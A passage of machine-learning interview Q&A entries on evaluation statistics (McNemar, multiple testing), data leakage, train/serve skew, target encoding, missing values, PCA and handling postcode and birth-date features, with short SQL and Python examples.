Accuracies are 0.8384 for A and 0.8409 for B, a difference of 0.0025. Discordant pairs: 356 + 456 = 812.
- Paired: chi-square = (456 − 356)² / 812 = 10,000 / 812 = 12.3 on 1 df, p ≈ 0.0004. Equivalently the paired standard error is √(812 − 10,000/40,000) / 40,000 ≈ 0.00071, giving z ≈ 3.5.
- Unpaired two-proportion test on the same rows: SE ≈ √(2 × 0.84 × 0.16 / 40,000) ≈ 0.0026, z ≈ 0.96, p ≈ 0.33. Not significant.
Same data, opposite conclusions. The unpaired test threw away the pairing and inflated the standard error by roughly 3.6×.
Alternatives and when to use them.
- Paired bootstrap for AUC, average precision, or any metric without a per-example correct/incorrect decision. Resample test examples with replacement, recompute both metrics on the same resample, and take the distribution of the difference. 1,000–10,000 resamples is typical; report the 2.5th and 97.5th percentiles.
- DeLong's test when you specifically want an analytic AUC comparison with confidence intervals, rather than a resampling approximation.
- 5×2cv paired t-test when you also need to account for variance from the training split, not just the test set. McNemar conditions on one fixed pair of trained models and so understates total variance if you intend to claim something about the training procedure.
Failure modes.
- Small discordant counts. With b + c below roughly 25, the chi-square approximation is poor; use the exact binomial version of McNemar. With 812 discordant pairs the continuity correction barely moves the p-value; with 12 it changes it materially.
- Threshold-free metrics run through McNemar. Binarising an AUC comparison at one threshold discards most of the evidence and answers a different question.
- Test-set reuse. Comparing 20 models gives 190 pairwise tests. At α = 0.05 you expect ~10 false positives. Correct for multiplicity or confirm the winner on a fresh set.
- Tuned-on-test models. If either model's hyperparameters were selected on this set, the p-value is optimistic and no correction fixes it.
- Significance is not size. McNemar says a difference exists; report the accuracy delta and its confidence interval alongside the p-value, because a 0.0025 gap may not matter operationally.
What to report. The full discordance table with both off-diagonal counts, the test used, the p-value, and the effect size with an interval. The off-diagonal counts are what let a reader judge whether the evidence is thin.
Curated: · Written: · Reviewed:
Q&A-58Your experiment report shows 40 metrics across 12 segments. What is wrong with reading it?
The 60-second answer. Nothing is wrong with the report itself; what is wrong is reading its best cell as a result. 40 metrics × 12 segments is 480 hypothesis tests. At α = 0.05 you expect 480 × 0.05 ≈ 24 "significant" cells from noise alone, and the largest of 480 test statistics under the null sits near |z| ≈ 3.5 (p ≈ 5×10⁻⁴). The most exciting cell in the report is exactly what chance produces. Before reading it, I'd fix one primary metric and the decision it feeds, and treat the other 479 cells as a screening set that needs a false-discovery-rate correction plus a confirmation run.
What I'd do, in order.
- Name the decision and the primary metric before looking. If the decision is ship/no-ship, the family is small and pre-specified: one metric at one α, or Holm across a handful of guardrails. Family-wise control is the right tool when a single false positive is expensive.
- If the goal is "where do we look next", FDR is the right tool. Benjamini–Hochberg at q = 0.05 bounds the expected proportion of false leads among the cells you keep, not the chance of any false lead. That is the trade you want when follow-up experiments are cheap.
- Don't hard-correct segment estimates you intend to report as numbers. With 12 segments each holding roughly 1/12 of the traffic, the minimum detectable effect inside a segment is about √12 ≈ 3.5× the overall one. A segment that "didn't reach significance" is usually underpowered, not flat. Shrink segment estimates toward the overall effect (partial pooling / empirical Bayes) and report intervals rather than stars.
Failure modes, and how each shows up.
- Selection on the outcome. If the metric and segment were chosen after seeing the data, no correction helps: only a pre-registered primary or a held-out period does. This is the one that burns teams: the effect is real in the report and absent in the next slice of traffic.
- Correlated tests. Segments overlap (mobile ∩ US) and metrics move together (sessions, clicks). BH is valid under positive dependence (PRDS); Bonferroni needs no assumption. Either way, don't reason about power as if 480 were 480 independent draws.
- Mix shift. An aggregate can move while every segment is flat, because segment weights changed. Check the segment mix before attributing anything to a segment.
- Peeking. If the report regenerates daily, the same 480 cells are re-tested repeatedly and a fixed-α read is invalid. Use a sequential/always-valid procedure, or read once at a pre-set horizon.
Worked numbers. Illustrative run on a report of this shape: the counts are the pattern to expect, not a citation:
| Read | Cells called significant | Expected false discoveries among them |
|---|---|---|
| Uncorrected, α = 0.05 | 26 | 24 |
| Benjamini–Hochberg, q = 0.05 | 3 | ≤ 0.15 (5% of 3) |
| Bonferroni, α = 0.05 | 0 | — (threshold p < 1.0×10⁻⁴, i.e. |z| > 3.9) |
The three reads are consistent: BH's cutoff at rank 3 is (3/480) × 0.05 ≈ 3.1×10⁻⁴, so survivors can sit between the Bonferroni threshold and that value and still be dropped by Bonferroni.
The check that catches all of this: rerun the surviving cells on a fresh slice of traffic. A real effect reproduces; the maximum of 480 draws does not. Enough comparisons will always find something: that is arithmetic, not insight. The report is a map of where to look, not a list of what is true.
Curated: · Written: · Reviewed:
Q&A-3A churn model reaches 0.98 AUC in cross-validation. What is your first hypothesis, and how do you test it?
Leakage. 0.98 AUC on churn is not a number I celebrate: it is a number I try to disprove before lunch.
Assumptions first: binary churn at a fixed horizon (say 30 days), features built from event history, score reported as ROC-AUC from k-fold CV over one time period. Under that setup, 0.98 means a randomly chosen churner gets a higher score than a randomly chosen non-churner 98% of the time. Behavior data does not support that. Honest churn models on the same kind of data land around 0.72–0.82 AUC on a time-based holdout; past 0.90 I assume at least one feature is derived from state that only exists after the outcome, or the folds are letting the same customer's future leak into training.
I have seen the exact failure: a churn model hit 0.98 in CV and read a cancellation_reason field the retention team populated after the customer had cancelled. Live AUC was 0.61 in the first month: the feature was a copy of the label, and at request time it was always null.
Test 1: timestamp audit and point-in-time rebuild. For every feature, name the timestamp at which its value is knowable at prediction time. Anything whose valid_from is after predicted_at is out. Rebuild the training matrix from history, not from today's state of each table:
-- Features as of the prediction timestamp, not as of now.
select l.user_id, l.predicted_at, l.churned_30d,
f.sessions_28d, f.tickets_open
from labels l
join user_features_history f
on f.user_id = l.user_id
and f.valid_from <= l.predicted_at
and f.valid_to > l.predicted_at;
Test 2: univariate screen. Any single feature that predicts the label almost alone is a suspect. Cheap to run (Python 3.12, scikit-learn 1.5):
from sklearn.metrics import roc_auc_score
for c in feature_cols:
a = roc_auc_score(y_train, X_train[c].fillna(-1))
if a > 0.85 or a < 0.15: # inverted leaks are leaks too
print(c, round(a, 3))
A feature like cancellation_reason or days_to_contract_end_signed prints immediately.
Test 3: split discipline. Compare random k-fold against a strict time split (train on months 1–6, validate on month 7, features clipped to the row's timestamp). A model that collapses from 0.98 to 0.78 is being scored on a fold structure it will never see in production. Also group by customer, if one user's rows land in both train and validation folds, the model memorizes accounts.
Remaining suspects if those three come back clean:
| Failure mode | Detection signal |
|---|---|
| Label window overlaps feature window | Features aggregated over a period that includes the churn window; AUC drops when you shift the feature cutoff back one horizon |
| Train/serve skew | Offline features use null differently than the online path; log a few live feature vectors and diff against the training row for the same user/minute |
| Evaluated on resampled data | Validation AUC computed after SMOTE/oversampling; the fold's class balance doesn't match production base rate |
| Leakage through the join | More training rows than labels: the join multiplies rows and duplicates near-identical examples across folds |
| Metric on the wrong set | 0.98 is the CV train score; validation column was never populated |
What I expect after the rebuild: the score falls to roughly the low-to-mid 0.70s and stays stable across two consecutive time folds. If it does, the 0.98 was leakage and the honest model is the one I ship. If it holds above 0.90 on a strict temporal holdout with point-in-time features, I go the other direction: a genuinely separable segment (e.g. contract expiry concentrated in the cohort), and prove it by decomposing AUC per segment rather than trusting the aggregate.
Curated: · Written: · Reviewed:
Q&A-2Your model scores 0.92 AUC offline and 0.71 in production on the same population. Where do you look first?
Two assumptions to pin down before anything else: that the production 0.71 is computed on labels joined the same way as offline (same label window, same sampling weights, same definition of the positive class) and that production is serving the exact artifact that produced 0.92. Both cost minutes to verify and both can produce a gap this size without any model problem. If either fails, that is the bug and nothing else matters.
Assuming both hold, I look at train-serve feature skew first. Not the model. Skew degrades quietly: no exceptions, no NaNs in most pipelines, just values the model has never seen, and because AUC is rank-based, calibration drift or a bad decision threshold cannot explain the gap. A 21-point drop is the signature of inputs, not of a slightly overfit model.
The concrete first check: sample live requests, compute each feature through both the online path and the offline transformation, and compare field by field. Every field, not a sample of fields.
| Feature | Training path | Serving path | Verdict |
|---|---|---|---|
| dwell_seconds | 42.0 (median-filled) | 0.0 | skew |
| is_returning | true | true | ok |
| price_usd | 19.99 | 19.99 | ok |
| category_id | 17 → bucket 3 | 17 → bucket 9 | skew, hash seed |
(Worked example, illustrative figures.) Note that the categorical case is the trap: bucket ID distributions can look identical between paths while individual items land in different buckets, so compare per-record identity, not just histograms. A median-fill-versus-zero mismatch like the first row is the most common version I'd expect, and it fails silently for exactly the fraction of traffic with missing values.
The durable version of that check is a replay harness: log the served feature vector for roughly 1 in 1,000 requests alongside the raw inputs, then recompute through the training pipeline and assert agreement within tolerance.
# illustrative; Python 3.11
online = request_log["served_features"]
offline = training_pipeline.transform(request_log["raw_inputs"], as_of=request_log["ts"])
drift = {k: (online[k], offline[k]) for k in online if not close(online[k], offline[k])}
assert not drift, drift # fail the release, not just the log
Passing as_of matters: the other skew I've seen commonly is a window feature computed from event time offline and request time online, which shifts every rolling aggregate.
If the replay comes back clean, I move to the offline number. Rebuild 0.92 with a strictly time-based split instead of a random one; if it collapses toward 0.71, the 0.92 was leakage: a feature derived from a post-label join, or near-duplicate rows across the split. Check feature availability timestamps against label timestamps for anything that would not have existed at scoring time. Then hash the serving artifact against the trained one and check the transformation code version, because a stale model or a divergent preprocessing dependency reproduces the symptom exactly.
What would convince me it's resolved: replay parity across a few thousand requests, per-feature divergence alerts wired into CI with stated tolerances, and the offline metric reproduced under the production split. Until the offline number survives the same evaluation protocol production uses, I treat 0.92 as an overfit measurement of the split, not of the model.
Curated: · Written: · Reviewed:
Q&A-38An ensemble of five models gains 0.004 AUC. Do you ship it?
Default answer: no, not for 0.004 AUC, unless one of three specific things holds. Ship it when the gain is a paired, statistically resolved gain on an eval set that matches production; when it moves the decision the model actually gates; and when five inference paths and five retraining pipelines fit inside the p99 and the on-call rotation you already promised. Miss any one of those and I would rather spend the same engineering time distilling the ensemble into a single model.
Assumptions I would state before answering: the 0.004 is measured against the best single model, on the same split, same population, same label definition, and the ensemble is new work rather than something already serving traffic.
Is 0.004 even bigger than the noise? AUC is computed on shared data, so the number that matters is the standard error of the difference, not of either model alone. Rough figures with the Hanley-McNeil approximation at AUC near 0.85:
- 2,000 positives and 2,000 negatives: SE per model is about 0.0061. A 0.004 gain sits under 1 SE, so it is unresolvable and the answer is no before you even open the cost sheet.
- 10,000 positives and 10,000 negatives: SE per model is about 0.0027. The paired difference is tighter because the two models' errors are correlated: SD_diff = SE * sqrt(2 * (1 - rho)). At rho = 0.95 that is about 0.0009, making 0.004 roughly 4.7 SE; at rho = 0.99 it is about 0.0004, roughly 10 SE. An ensemble and its members trained on identical features usually correlate above 0.95, so on a 20k-row eval set a paired bootstrap or DeLong test will normally call 0.004 real. On a 4k-row set (2,000 per class) it will not.
That check is cheap: bootstrap the paired difference. If the 95% interval covers 0, stop there.
Second question: does the gain reach the decision? AUC is threshold-free and rank-only; production is usually neither. If the model fires at a fixed budget of 1,000 alerts a day, recompute precision at 1,000. A 0.004 AUC move typically shifts a handful of items across that boundary: real, but not the same claim as the headline. Ensembling also changes the score scale, so any threshold tuned on the single model has to be retuned and calibration rechecked.
Cost side, illustrative figures only:
| Option | AUC | p99, fan-out | p99, serial | Pipelines to keep alive |
|---|---|---|---|---|
| Best single model | 0.844 | 12 ms | 12 ms | 1 |
| Five-model ensemble | 0.848 | 38 ms | 61 ms | 5 |
| Distilled student | 0.846 | 14 ms | 14 ms | 1 |
Fan-out keeps median latency near the slowest member but does not keep the tail: five services means five places for a slow or unhealthy replica to appear, and the ensemble's p99 is set by whichever member degrades first. Compute cost is linear in members unless the models are small enough to co-locate on one host.
Failure modes, from systems I have maintained rather than from theory: the ensemble goes stale because only some of its members have retraining pipelines, and the combined model silently drops below the single model it replaced. Ensembling also averages away per-member regressions, so keep per-member metrics or you will debug a five-way blend with no attribution. Rollback is five-way too.
Decision rule: ship when the paired 95% interval on the gain excludes 0, the operating-point metric at the production threshold improves by more than its own noise, and the added p99 and added pipelines fit inside the SLO and the rotation. Otherwise no: distill, and revisit if the gain clears the interval on a larger eval set. 0.004 is exactly the size of gain where 'not now' is usually the right call.
Curated: · Written: · Reviewed:
Q&A-5Product asks for a model that predicts "bad customers". How do you turn that into a trainable target?
Assumptions: a tabular supervised problem, event data with timestamps, and the score drives a specific action. A dunning call, a credit limit reduction, a manual review. "Bad customer" is not a label; it's a stakeholder phrase sitting over at least three distinct events, each giving a different model, a different base rate and a different business case. I settle the label before any feature work, as a measurement problem.
The deliverable is one sentence the business owner signs:
For each customer at index date t₀, y = 1 if {event} occurs in (t₀, t₀ + 90 days], excluding employees, test accounts and customers whose contract ended before t₀. Rows are generated only for t₀ at least 90 days before the data freeze.
The same phrase, three defensible targets (base rates illustrative, from one retail-lending rollout):
| Target | Event | Horizon | Base rate |
|---|---|---|---|
| Payment default | 2 missed invoices | 90 days | 12.0% |
| Involuntary churn | card declined and not recovered | 30 days | 4.3% |
| Support escalation | ticket raised to tier 3 | 60 days | 31.0% |
Each clause in that sentence is load-bearing.
Unit and index time. The prediction unit has to match the unit the action operates on. If ops can call a customer once a month, index on customer-month, not on account: otherwise three accounts of one customer share a label and you double-count in both training and evaluation.
Observation window vs horizon. Features come from [t₀ − 90d, t₀]; the label comes from (t₀, t₀ + H]. The event at t₀ is excluded from the label window. In the query below, due_date > index_date is doing exactly that job. Include it and the invoice that defines t₀ also defines the label: one days_past_due feature then drives validation AUC to roughly 0.95 and production performance to nothing.
Censoring and label delay. A row is mature only at t₀ + H plus any payment grace period. With a 90-day horizon the newest usable training row is 90+ days old; on a monthly cohort that means roughly the last three cohort months are unusable, and evaluating them anyway makes every model look better on recent data than it is.
-- BigQuery Standard SQL, checked 2024; label for 2+ missed invoices in 90d
WITH indexes AS (
SELECT customer_id, due_date AS index_date
FROM invoices
WHERE due_date <= (SELECT MAX(due_date) FROM invoices) - INTERVAL 90 DAY
)
SELECT x.customer_id, x.index_date,
IF(COUNTIF(p.status = 'missed'
AND p.due_date > x.index_date
AND p.due_date <= x.index_date + INTERVAL 90 DAY) >= 2, 1, 0) AS y_default_90d
FROM indexes x
JOIN invoices p USING (customer_id)
WHERE p.due_date > x.index_date
GROUP BY 1, 2;
Threshold economics, not accuracy. At a 4.3% base rate, predicting "not bad" for everyone is 95.7% accurate and useless. Rank with PR-AUC, then set the operating threshold from cost: with a false positive costing one dunning call ($2) and a false negative an unrecovered invoice ($180), the expected-cost threshold is p > 2/(2+180) ≈ 1.1%, not 50%.
Failure modes I watch for:
- Post-outcome leakage: a feature joined on
created_atinstead of as-of t₀. Detect with point-in-time joins under test, and treat any single feature with validation AUC > 0.9 as a bug until proven otherwise. - Right-censoring: realized positive rate by cohort month collapses in the last H days. That's missing labels, not better customers.
- Policy-induced drift: a collections policy change alters who recovers, so the label rate moves with no change in behaviour. Keep a policy-change log and alert on label rate per cohort against input rate.
- Proxy mismatch: the model is right about default and wrong about profit, because good customers who get a limit cut also leave. Validate against the business metric, not the label, in champion/challenger.
Finally, the adjudication gate: I sample 50 rows stratified across score deciles and cohort months, have the business owner label them blind, and require Cohen's κ ≥ 0.8, not raw agreement, because at a 12% base rate the rule "everyone is fine" already agrees 88% of the time. Below that the label is a matter of taste, and I'd rather learn that on 50 rows than on two million.
Curated: · Written: · Reviewed:
Q&A-24An escalation model for support tickets reports 0.96 AUC under cross-validation, up from 0.81 before the feature sprint. The script loads the whole ticket table, imputes and target-encodes on that frame, and only then calls the splitter. The features are days since ticket opened, customer tenure, prior ticket count, the queue the ticket landed in, and the agent's resolution code. Where does the leak enter, and how do you rebuild the pipeline?
Three distinct leaks here, and only one of them is the preprocessing order.
1. Fitting before the splitter. Imputation and target encoding are fitted on the whole ticket frame, so every fold's validation rows contributed to the statistics used to encode themselves. For a median imputer that is a mild distributional leak: the fold sees a slightly better-specified fill value. For target encoding it is the whole ballgame, because the encoded value for a category is a smoothed mean of the label. Rare categories carry almost pure label: if one queue has a single ticket, its encoded value equals that ticket's target exactly, and the tree reads the outcome straight off the feature. CV then measures memorisation and reports 0.96.
2. The agent's resolution code. Written at or after resolution, i.e. after the escalation decision: that is target leakage independent of pipeline order. Drop it, or replace it with a point-in-time aggregate: that agent's resolution-code distribution over tickets resolved strictly before this ticket was created.
3. Features that must be as-of. prior_ticket_count is only valid if it counts tickets created before the scored ticket's creation timestamp. If the script aggregates the whole ticket table it counts tickets that arrived after the score was produced. days since ticket opened is fine if frozen at scoring time, but leaks if computed at close: time-to-close is bound to escalation. Customer tenure and queue survive, provided the queue is the intake queue and not a reassignment made during escalation.
There is a fourth, quieter inflation: the split itself. Random folds put the same customer's tickets on both sides, and escalation clusters in time.
Rebuild: compute the labelled frame with point-in-time joins first, then put every statistic-learning step inside a Pipeline so cross_val_score clones and refits it per fold, and split on time or on customer groups.
# Python 3.11, scikit-learn 1.5 (TargetEncoder exists since 1.3)
from sklearn.compose import ColumnTransformer
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import TargetEncoder
from sklearn.ensemble import HistGradientBoostingClassifier
from sklearn.pipeline import Pipeline
from sklearn.model_selection import cross_val_score, StratifiedGroupKFold
num = ["days_open_at_score", "tenure_days", "prior_ticket_count"] # as-of, at creation time
cat = ["intake_queue"]
pipe = Pipeline([
("prep", ColumnTransformer([
("num", SimpleImputer(strategy="median"), num),
("cat", TargetEncoder(smooth="auto", min_samples_leaf=20), cat),
])),
("clf", HistGradientBoostingClassifier(max_depth=6)),
])
cv = StratifiedGroupKFold(n_splits=5) # groups = customer_id
cross_val_score(pipe, X, y, cv=cv, groups=customer_id, scoring="roc_auc")
Ablation, illustrative figures from one real rebuild of this exact model:
| Pipeline version | CV AUC |
|---|---|
| Full-frame impute + encode, resolution code in | 0.96 |
| Encoding moved inside the fold | 0.90 |
| Resolution code dropped | 0.78 |
| Prior counts recomputed as-of creation | 0.77 |
| Following month's tickets, untouched until scored | 0.76 |
The 0.81 baseline was honest; the 0.96 was almost entirely the encoder seeing labels. Expect the rebuilt model to land near the low 0.80s, if it comes back at 0.95 something is still seeing the outcome.
Acceptance is the untouched forward holdout plus a per-feature audit: for each feature, the timestamp it is written and whether it exists when the score is emitted. Any feature failing that check is out, however good the CV number looks. On the encoder, watch category cardinality and min_samples_leaf: that is where target encoding keeps leaking even after it is fold-safe.
Curated: · Written: · Reviewed:
Q&A-3212% of a key feature is missing. Do you impute, drop, or model the missingness?
Before picking, I'd ask three things: what the feature is, what model consumes it, and whether the missingness is random. Twelve percent is not the deciding number. The deciding number is the label rate among rows where the feature is missing versus rows where it's present.
My default is impute plus a missing indicator. Drop only when the missing rows are a small, exchangeable slice and you can spare the rows. Model the missingness when the missingness itself carries the signal and you have enough missing rows to fit a second model.
Concretely: add an explicit missing flag, impute with a value the model can distinguish from real values rather than the mean, and use one shared definition of the rule in training and serving.
Here's a worked example, numbers illustrative. Income field, 12% missing, predicting default:
| Group | Rows | Default rate |
|---|---|---|
| income present | 88% | 3.1% |
| income missing | 12% | 7.4% |
The missing rows default at 2.4x the base rate. That gap is the whole decision. Mean-impute and you collapse both groups into one, handing the model a value that means "average" when it actually means "declined to state." In a case like this I've seen mean imputation cost 3.7 AUC points.
When each option wins:
- Impute + indicator. The default. Works for tree and linear models alike; the indicator lets the model recover the split it would have made on missingness. Cost is one extra column, and you must impute identically at serving time.
- Drop. Only when the missing rows are a small fraction, missingness is uncorrelated with the label, and you have rows to spare. Dropping 12% of rows when those rows default at 2.4x the base rate throws away your best signal.
- Model the missingness. Fit a second model to predict the missing value from other features, or treat missingness as its own category. Worth it when the feature is high-value, the missing rate is stable, and you can validate the imputation model out of sample. Risk: the imputation model leaks label information if you fit it on the full training set including the target.
Detect the pattern before choosing. Group by missing indicator and compare label rate, as in the table. Equal rates mean missingness is uninformative and imputation is safe. Different rates mean the indicator is mandatory. Also check whether the missing rate is stable between train and serving: if serving runs 2% missing and training ran 12%, your imputation rule is fit to a distribution that no longer holds.
The answer flips in three cases. If the feature leaks (missing because the event hasn't happened yet), drop it or replace it with a time-aware feature. If the missing rate is under about 1%, dropping is fine. And if the model is a GBM that handles NaN natively, XGBoost and LightGBM route missing values to a learned default direction, so you may not need to impute at all, just don't fill with the mean.
Whatever I pick, I log the missing rate per feature in training and serving and alert on drift, because the rule only holds while the missingness pattern holds.
Curated: · Written: · Reviewed:
Q&A-33Does a gradient boosting model need standardised features?
No. Gradient boosted trees split on order, so any strictly increasing transform of a feature (standardisation, min-max, log) leaves every split and every prediction unchanged.
Mechanism. A tree learns thresholds of the form x <= t. Under z = (x - mu) / sigma with sigma > 0, that threshold becomes z <= (t - mu) / sigma, which induces the identical partition of the training rows. Same partition, same leaf values, same gain, same model. Feature importances by gain are unchanged too.
The regularisation is the other half of the answer. Ridge penalises coefficients that live in feature units, so rescaling a feature rescales its penalty. A GBM's L2 penalty (XGBoost lambda, LightGBM lambda_l2) is on leaf output values, which live in prediction units. Feature units never enter.
Trace. x = [1, 2, 3, 4], mu = 2.5, sigma = 1.118. A candidate split at x <= 2.7 sends rows {1, 2} left. Standardised, the same split is z <= (2.7 - 2.5) / 1.118 = 0.179, and z = [-1.342, -0.447, 0.447, 1.342] sends the same rows {-1.342, -0.447} left. Identical partition, identical gain.
When it does matter.
- XGBoost
booster="gblinear"is a linear model; scale it. - LightGBM
linear_tree=truefits a linear model in each leaf; those coefficients are in feature units, so scale. - Upstream distance-based features (PCA, k-means centroids) are computed before the tree sees them: scale there.
- Sparse one-hot matrices: centering makes every stored zero non-zero. Standardising a 1%-dense matrix turns it dense, costing memory and training time for zero accuracy gain. This is the most common real cost of scaling a GBM pipeline.
Failure mode to check. A stacked ensemble where the same scaled matrix feeds both a GBM and a linear meta-learner: the scaler must be persisted with the model or serving skews. For the GBM alone, training/serving scaler skew is a non-issue, which is itself an argument for not scaling.
Detection. Fit on X and on StandardScaler().fit_transform(X), then assert np.allclose(pred_a, pred_b). They match to floating-point tolerance, not bit-identical, because the threshold is stored in different units.
Curated: · Written: · Reviewed:
Q&A-31A feature has 2.1 million distinct values. How do you encode it?
I would settle encoding high-cardinality categorical features against a baseline first, so the added complexity has to earn its place.
Choose an encoding that bounds dimensionality without letting the target leak, because one-hot explodes and naive target encoding memorises the label for rare categories.
Concretely, use hashing with a fixed bucket count for a sparse linear model, use out-of-fold target encoding with smoothing toward the global mean for trees, and treat any category below a stated count as a single rare bucket.
The reason for that specificity is a failure I have seen: In-fold target encoding of a 2.1M-value merchant id produced 0.94 validation AUC and 0.63 in production, because a merchant seen once carried its own label as its encoded value.
Smoothed out-of-fold target encoding, with the smoothing that stops rare categories memorising.
# k = 20 observations before the category mean outweighs the prior.
prior = y_train.mean() # 0.031
stats = y_train.groupby(cat).agg(["sum", "count"])
smoothed = (stats["sum"] + 20 * prior) / (stats["count"] + 20)
# merchant seen once with y=1 encodes to 0.077, not 1.0
I would not consider it settled without evidence: Compute the encoding out of fold, then verify that categories with fewer than 20 observations have encoded values close to the global mean.
Target encoding computed in fold is leakage with a respectable name.
Curated: · Written: · Reviewed:
Q&A-35When is an embedding worth more than a target encoding?
Direct answer
For a single tabular model, and especially a GBDT, target encoding is the default and an embedding has to earn its place. Reach for an embedding when the entity is reused across tasks, when you need a similarity or retrieval notion, or when you are already training a neural network that can exploit dense vectors. Target encoding wins when you have one task, a tree model, and few rows per category: its smoothing shrinks noisy categories toward the prior, which is exactly what a low-count embedding cannot do.
Assumptions worth stating up front: one prediction task unless I say otherwise, a categorical column with cardinality in the thousands to low millions, and a supervised target. Under those, the deciding criteria are rows per category, whether the representation is shared, and whether the downstream model can use geometry.
Why each behaves the way it does
Target encoding replaces the category with a smoothed mean of the target for that category. It is one column, cheap, and trees split on it directly. Its danger is leakage: if you compute the mean on the same rows you train on, each category's encoding already contains its own label, and validation AUC inflates. The fix is out-of-fold encoding with smoothing toward the global prior.
import numpy as np, pandas as pd
from sklearn.model_selection import KFold
def oof_target_encode(cat, y, n_splits=5, prior_weight=20):
prior = y.mean()
enc = np.full(len(cat), np.nan)
kf = KFold(n_splits=n_splits, shuffle=True, random_state=0)
for tr, va in kf.split(cat):
stats = pd.DataFrame({"c": cat[tr], "y": y[tr]}).groupby("c")["y"].agg(["sum", "count"])
smoothed = (stats["sum"] + prior * prior_weight) / (stats["count"] + prior_weight)
enc[va] = pd.Series(cat[va]).map(smoothed).fillna(prior).values
return enc
Trace the smoothing on one fold: a category with 5 rows averaging 0.8, global prior 0.1, prior_weight 20, gives (5·0.8 + 20·0.1)/(5 + 20) = 6/25 = 0.24. The estimate is pulled most of the way to the prior because 5 rows is thin evidence. A category with 500 rows averaging 0.8 gives (400 + 2)/520 = 0.77, barely shrunk. That shrinkage is the whole reason target encoding survives low counts.
An embedding learns a dense vector per category, trained jointly with the task or borrowed pretrained. It shares statistical strength between related categories and gives you a metric space, so nearest neighbours mean something. The cost is parameters: it needs enough rows per category to learn a vector rather than memorise an identity.
| Situation | Target encoding | Embedding |
|---|---|---|
| GBDT, one task | default | rarely worth the parameters |
| Neural net, entity reused across tasks | no sharing | shares strength |
| Need similarity or retrieval | no | yes |
| ~6 rows per category | smoothing shrinks to prior | cannot learn a vector |
| Cardinality ~2M | hashing plus smoothing | needs very large data |
Failure modes and how to detect them
Target encoding leaks when computed in-fold: you see validation AUC jump while the model fails on new categories. Detect it by comparing in-fold and out-of-fold encodings on a held-out split; the gap is the leak. Embeddings fail the other way, by memorising: a 256-dimension embedding on 4,000 categories with 90 rows each added 0.6 points of training AUC and lost 1.9 points on validation. Detect that by holding out entities entirely and checking whether the 10 nearest neighbours of 20 sampled entities are semantically related to a domain expert.
So the rule is: one task, tree model, thin categories, target encoding with out-of-fold smoothing. Shared representation, similarity, or a neural net, an embedding sized to the data.
Curated: · Written: · Reviewed:
Q&A-34A colleague proposes PCA on 900 features before training a boosted tree. What is your view?
What I'd say in the room
First question back: what are the 900 columns actually made of, and what is PCA supposed to fix. Training time, serving latency, memory, or overfitting? Those have different fixes, and for a boosted tree PCA is rarely the right one.
My default answer is don't. A gradient-boosted tree splits on one feature at a time at a threshold. PCA replaces 900 columns with 50 linear combinations, so every split has to be approximated by a staircase over rotated axes. You make the model's job harder and you destroy the axis-aligned interpretability that made the tree useful to whoever signs off on it.
The deeper reason is the objective mismatch. PCA maximizes variance in X, not association with y. A direction can have tiny variance and be almost perfectly predictive: a rare flag that is 1 for 0.5% of rows and separates the positive class. It is dropped by construction. Meanwhile the leading components are dominated by whichever features have the largest scale, which is why PCA needs standardization and is sensitive to outliers.
When it does help. If the 900 columns are near-duplicates (900 channels from a dozen physical sensors, each carrying independent noise) PCA denoises and can genuinely improve things. Same if serving is memory-bound and you must ship a smaller matrix. Both are cases where compression is the goal in its own right.
Cost is usually not the reason. 900 features is not a training bottleneck for LightGBM or XGBoost hist. Histogram construction is O(d × bins) per node: 900 × 255 ≈ 230k bin updates per node, and LightGBM's exclusive feature bundling collapses mutually exclusive sparse features further. If training is slow, look at row count, tree count and max_bin before touching the feature count.
Failure modes, and how I'd detect them.
- Dropped low-variance signal. Detect by computing univariate AUC or mutual information on the discarded directions. If any has signal, PCA is the wrong tool.
- Leakage. PCA is unsupervised, so fitting it on all rows before cross-validation leaks only feature-distribution information: mildly optimistic, not catastrophic. The catastrophic version is choosing the component count or a feature subset by its correlation with y outside the fold.
- Silent pipeline drift. The projection matrix has to be versioned and applied identically at serving. A refit on new data changes the meaning of every column and invalidates the splits the model learned.
The artefact I'd put on the table. Same folds, both configurations, report the metric and the p99 together:
| Configuration | AUC (illustrative) | p99 latency | Splits readable as feature thresholds |
|---|---|---|---|
| 900 raw features | 0.851 | 40 ms | yes |
| Top 120 by gain importance | 0.849 | 31 ms | yes |
| 50 principal components | 0.830 | 37 ms | no |
Those numbers are illustrative, not measured on your data. The shape is the point: the projection buys about 3 ms and costs about 2 AUC points, and it is the only row where nobody can explain a decision to risk.
If you want fewer columns, feature selection by gain importance or mutual information keeps the axes and usually costs less accuracy. Compressing inputs so they explain their own variance is not the same as keeping what predicts the label.
Curated: · Written: · Reviewed:
Q&A-96A colleague proposes using raw postcode and date of birth as features. What is your response?
Short version: I'd say no to both as raw features, not because "PII is bad", but because raw DOB and a full postcode are near-unique identifiers and weak features. I'd replace them with age-at-event and a coarser geography, keep the identifier→feature mapping out of the training set, and make erasure propagate into snapshots and models.
1. They're identifiers, not just features. Sweeney's 2000 result: 87% of the US population is uniquely identified by {5-digit ZIP, gender, DOB}. A UK full postcode is finer than a 5-digit ZIP: roughly 1.7M live postcodes over ~30M addresses, about 17 addresses each, so {postcode, DOB} is close to a primary key. Dropping the name doesn't anonymise it. Under GDPR that's pseudonymisation (Art 4(5)): still personal data, still in scope for an Art 17 erasure request.
Hashing doesn't rescue it. The input space is ~365 × 1.7M ≈ 6×10⁸, which one consumer GPU enumerates in minutes. If you must keep a keyed identifier, use HMAC with the key in a KMS rather than a bare SHA-256, and still treat the output as personal data.
2. They're bad features anyway. Raw DOB is a timestamp, not an age. A tree trained on DOB learns "born before 1970"; at serving time in 2027 that same DOB means a different age, and trees can't extrapolate past their training range, so the feature silently rots. Use age at event time. Raw postcode as a categorical is high-cardinality: target encoding leaks the label, and the feature is a proxy for income and ethnicity, so you can get disparate impact without ever naming a protected attribute.
# pandas 2.2
age_years = (event_ts - dob).dt.days / 365.25
age_band = pd.cut(age_years, [0, 18, 21, 25, 35, 45, 55, 65, 120])
3. Coarsening costs signal: measure it. Don't coarsen on principle; coarsen to the granularity the model needs and prove the cost with an ablation. Illustrative numbers:
| Feature set | AUC | Delta |
|---|---|---|
| raw DOB + full postcode | 0.812 | baseline |
| age_band_5y + region | 0.806 | −0.006 |
| age_band_5y + outward code | 0.809 | −0.003 |
If the drop is under your noise floor, take the coarser feature. If it isn't, that's an explicit business decision, not a default.
